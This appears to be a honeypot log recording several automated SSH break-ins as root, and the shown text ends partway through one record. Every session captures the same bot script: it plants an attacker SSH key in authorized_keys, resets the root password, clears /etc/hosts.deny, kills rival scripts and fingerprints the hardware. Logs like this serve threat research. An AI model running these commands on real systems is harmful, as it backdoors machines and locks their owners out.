{"id":"22cc1660-be2b-455a-b982-c6b5b70e2261","name":"arctic-bashful-gull","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":52550,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":825,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:10:39.045870+00:00","ended_at":"2026-08-27T14:10:39.311875+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2275,"events":[{"seq":1,"at":"2026-08-27T14:10:19.781358+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:10:19.789146+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T14:10:20.599127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T14:10:26.596292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T14:10:26.598496+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T14:10:27.425011+00:00","kind":"input","latency_ms":null,"data":"echo \"root:m7NcEWr2I90c\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T14:10:27.425328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:10:28.252912+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T14:10:29.072624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T14:10:29.074558+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:10:29.903814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:10:29.904324+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:10:30.728530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:10:30.731616+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:10:31.557138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:10:31.558402+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:10:32.408165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:10:32.409235+00:00","kind":"output","latency_ms":null,"data":" 14:10:32 up 7 days, 11:00, 0 user, load average: 0.3, 0.22, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:10:33.229013+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:10:33.229566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:10:34.056446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:10:34.057814+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:10:34.891846+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:10:34.892390+00:00","kind":"output","latency_ms":null,"data":"top - 14:10:34 up 7 days, 11:00, 0 user, load average: 0.3, 0.22, 0.28\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:10:35.724740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:10:35.725636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:10:36.550050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:10:36.550496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:10:37.375161+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:10:37.375613+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T14:10:38.220342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:10:38.220892+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:10:39.046617+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:10:39.047268+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxswedc123","method":"password","accepted":true,"tier":"other"}]} {"id":"03e09488-6fbd-4a58-a7e6-9d802ca8d780","name":"gloomy-weathered-chough","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":44650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":834,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:51.154232+00:00","ended_at":"2026-08-27T14:01:53.311292+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-27T14:01:11.082996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:01:11.919020+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:01:19.530231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:01:20.448583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:01:21.287063+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oQDdVnwxuhp4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T14:01:22.325191+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T14:01:22.831195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:01:23.165283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T14:01:24.461361+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:01:25.295965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:01:27.272050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:01:28.106366+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T14:01:29.223456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T14:01:30.076073+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T14:01:32.203048+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T14:01:33.045164+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T14:01:34.686600+00:00","kind":"output","latency_ms":null,"data":" 14:01:34 up 7 days, 10:51, 0 user, load average: 0.33, 0.31, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T14:01:35.522128+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T14:01:37.177349+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T14:01:38.024403+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T14:01:39.152756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T14:01:39.993719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T14:01:40.931608+00:00","kind":"output","latency_ms":null,"data":"top - 14:01:40 up 7 days, 10:51, 0 user, load average: 0.33, 0.31, 0.34\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T14:01:41.765876+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T14:01:43.408280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T14:01:44.241939+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T14:01:45.628209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T14:01:46.462894+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T14:01:48.571364+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T14:01:49.407809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T14:01:50.319845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T14:01:51.155024+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T14:01:53.044536+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ipecscm","method":"password","accepted":true,"tier":"other"}]} {"id":"02d94f97-51a7-477a-b442-27cb5437ccb7","name":"mossy-electric-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:37.357704+00:00","ended_at":"2026-08-27T13:59:39.371099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:59:04.686097+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:05.037296+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:09.436226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:10.964196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:11.305944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DIWw5i9SWSrO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:59:12.055565+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:59:12.163166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:12.395898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:14.563226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:59:15.011706+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:59:15.945948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:59:16.800087+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:59:18.554186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:59:19.948907+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:59:21.478636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:59:21.823337+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:59:23.465019+00:00","kind":"output","latency_ms":null,"data":" 13:59:23 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:59:23.935077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:59:25.887870+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:59:26.234554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:59:27.938622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:59:28.279671+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:59:29.159197+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:29 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:59:29.499584+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:59:31.202642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:59:31.544259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:59:32.586833+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:59:33.027279+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:59:34.941501+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:59:35.279877+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:59:36.963324+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:59:37.358406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:59:39.269084+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"redhat","method":"password","accepted":true,"tier":"other"}]} {"id":"d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844","name":"hazel-slender-ermine","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":56854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":831,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:20.487122+00:00","ended_at":"2026-08-27T13:56:22.536239+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:55:40.165993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:55:40.992262+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:55:47.555026+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:55:49.131111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:55:49.976640+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9dZanbjMd9nW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:55:50.803939+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:55:51.630854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:55:51.847797+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:55:53.208850+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:55:54.038898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:55:55.684544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:55:56.515029+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:55:58.112949+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:55:58.950695+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:55:59.933135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:56:00.816123+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:56:02.420600+00:00","kind":"output","latency_ms":null,"data":" 13:56:02 up 7 days, 10:46, 0 user, load average: 0.21, 0.17, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:56:03.245317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:56:04.356602+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:56:05.188261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:56:07.354617+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:56:08.210244+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:56:09.195655+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:09 up 7 days, 10:46, 0 user, load average: 0.21, 0.17, 0.18\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:56:10.032257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:56:12.024342+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:56:12.855437+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:56:14.101536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:56:14.933259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:56:16.973665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:56:17.803223+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:56:19.658614+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:56:20.487853+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:56:22.273137+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Diamond1","method":"password","accepted":true,"tier":"other"}]} {"id":"bd28fa80-f266-4e39-ad73-4ddea68a43ff","name":"lively-burly-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":50760,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":480,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:55:13.593247+00:00","ended_at":"2026-08-27T13:55:15.678836+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:54:41.403059+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:54:41.751501+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:54:45.704415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:54:46.807663+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:54:47.604815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FaVqxv2XZLR2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:54:48.358787+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 